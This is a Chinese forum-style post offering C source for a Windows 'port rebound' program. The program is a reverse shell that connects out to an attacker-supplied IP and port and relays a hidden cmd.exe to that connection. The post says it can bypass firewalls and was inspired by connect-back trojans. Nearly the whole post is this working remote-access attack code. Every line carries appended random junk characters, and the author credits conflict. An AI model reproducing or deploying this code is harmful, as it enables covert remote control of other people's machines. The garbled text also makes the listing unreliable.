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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5gEWLLDp  
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/* ============================== Nr+1N83S}  
Rebound port in Windows NT |*a>6y  
By wind,2006/7 h--!pE+  
===============================*/ "Jd1&FsCwX  
#include {vlh ,0~  
#include c?Qg :yU  
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#pragma comment(lib,"wsock32.lib")  ]bSt[  
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void OutputShell(); \F3t&:  
SOCKET sClient; }7v2GfEkM  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aE$p;I  
>>xV-1h:  
void main(int argc,char **argv) )g F9D1eA  
{ %QbrVl+  
WSADATA stWsaData; [uHI 6Q#  
int nRet; 5q >u }J  
SOCKADDR_IN stSaiClient,stSaiServer; zvj >KF|y  
Vs{sB*:  
if(argc != 3) /q]@|5I  
{ M 4?3l  
printf("Useage:\n\rRebound DestIP DestPort\n"); V> SA3  
return; tB7aHZ|  
} [J 3;U6  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ? xs0J  
!*-cf$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~h.B\Sc]Q  
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stSaiClient.sin_family = AF_INET; y~[So ,G  
stSaiClient.sin_port = htons(0); _m-r}9au   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :b-(@a7>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M XQ7%G  
{ \/Y<.#?_  
printf("Bind Socket Failed!\n"); lU& IS?^?  
return; iiscm\  
} i[n 1}E.@  
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stSaiServer.sin_family = AF_INET; /#5ZP\e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JN!YRcj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Bnv%W4  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lHXH03  
{ zYsGI<4  
printf("Connect Error!"); q[ZYlF,Ho  
return; }J`Gm  
} j!rz@Y3  
OutputShell(); )-oNy-YL  
} Sm5"Q  
\266N;JrN  
void OutputShell() #>'0C6Xn  
{ /-lmfpT  
char szBuff[1024]; \ZH=$c*W  
SECURITY_ATTRIBUTES stSecurityAttributes; ,s K-gw  
OSVERSIONINFO stOsversionInfo; }S4Fy3)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c,^-nH'X>  
STARTUPINFO stStartupInfo; FTe#@\I  
char *szShell; CqV \:50g  
PROCESS_INFORMATION stProcessInformation; P/ 5r(l5  
unsigned long lBytesRead; E~ kmU{D  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |99eDgK,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); G1|:b-C  
stSecurityAttributes.lpSecurityDescriptor = 0; 8iRQPV-"_  
stSecurityAttributes.bInheritHandle = TRUE; fkM4u<R^  
Tj:F Qnx  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JAK*HA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zZ63 P  
T5)?6i -N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dWA7U6c<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AXFVsZH"zi  
stStartupInfo.wShowWindow = SW_HIDE; 0OXd*  
stStartupInfo.hStdInput = hReadPipe; wSDDejg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E J1:N*BA  
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GetVersionEx(&stOsversionInfo); -}s?!Pg>  
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switch(stOsversionInfo.dwPlatformId) s0CRrMk  
{ .755-S  
case 1: p[Es4S}N  
szShell = "command.com"; r|+Zni]  
break; IkkrnG8  
default: H b.oKo$T  
szShell = "cmd.exe"; bmLNR  
break; A|^?.uIM  
} 9z#IdY$a  
0Sk{P>A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Sl1N V  
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send(sClient,szMsg,77,0); 4|qp&%9-  
while(1) p%BO:%v  
{ k95vgn%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &IPT$=u  
if(lBytesRead) hwJ.M4  
{ $HRpG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^*W3{eyi(L  
send(sClient,szBuff,lBytesRead,0); 6tM{cK%v1  
} -kO=pYP*O  
else ocvBKsfhE`  
{ 7^1ikmYY  
lBytesRead=recv(sClient,szBuff,1024,0); Dqki}k~{  
if(lBytesRead<=0) break; W!g ,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %2.T1X%!  
} ^VQiq7 xm  
} r*Mm5QozA  
n(L {2r  
return; Z(s} #-  
}
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